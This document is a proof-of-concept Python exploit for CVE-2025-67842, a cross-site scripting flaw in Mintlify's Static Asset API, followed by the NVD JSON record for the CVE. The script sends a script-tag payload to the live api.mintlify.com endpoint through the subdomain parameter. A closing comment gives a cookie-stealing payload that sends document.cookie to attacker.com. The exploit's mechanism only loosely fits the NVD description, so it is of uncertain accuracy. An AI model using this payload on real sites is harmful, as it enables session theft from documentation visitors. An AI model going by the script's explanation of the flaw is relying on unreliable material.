CVE-2025-67842

# CVE-2025-67842 Mintlify XSS PoC import requests import urllib.parse TARGET_URL = "https://api.mintlify.com/v1/static-asset" MALICIOUS_SUBDOMAIN = "xss<script>alert(document.cookie)</script>.attacker.com" def exploit_mintlify_xss(target_documentation_site): """ Exploit Mintlify Platform XSS via subdomain parameter injection This PoC demonstrates how an attacker can inject malicious scripts through the Static Asset API's subdomain parameter. """ # Step 1: Prepare malicious subdomain payload payload = { "subdomain": MALICIOUS_SUBDOMAIN, "path": "/", "tenant_id": "victim-tenant" } # Step 2: Send crafted request to Static Asset API response = requests.get( TARGET_URL, params=payload, headers={ "User-Agent": "Mozilla/5.0", "Referer": target_documentation_site } ) print(f"[*] Request sent to {TARGET_URL}") print(f"[*] Payload: {urllib.parse.urlencode(payload)}") print(f"[*] Response Status: {response.status_code}") # Step 3: The malicious asset is now served on victim's site # When users visit the victim's documentation, the XSS will execute return response # Example attack scenario VICTIM_SITE = "https://docs.victim-company.com" exploit_mintlify_xss(VICTIM_SITE) # After exploitation, visiting VICTIM_SITE will execute: # alert(document.cookie) # Attackers can replace this with cookie stealing: # <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>

{"cve": {"id": "CVE-2025-67842", "sourceIdentifier": "[email protected]", "published": "2025-12-19T02:16:08.813", "lastModified": "2026-01-02T16:01:50.773", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "The Static Asset API in Mintlify Platform before 2025-11-15 allows remote attackers to inject arbitrary web script or HTML via the subdomain parameter because any tenant's assets can be served on any other tenant's documentation site."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mintlify:mintlify:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025-11-15", "matchCriteriaId": "4E599124-4B00-4D5C-ADB5-EC4564D3E5BF"}]}]}], "references": [{"url": "https://gist.github.com/hackermondev/5e2cdc32849405fff6b46957747a2d28", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://heartbreak.ing", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://kibty.town/blog/mintlify/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://news.ycombinator.com/item?id=46317098", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://www.mintlify.com/blog/working-with-security-researchers-november-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.mintlify.com/docs/changelog", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://kibty.town/blog/mintlify/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}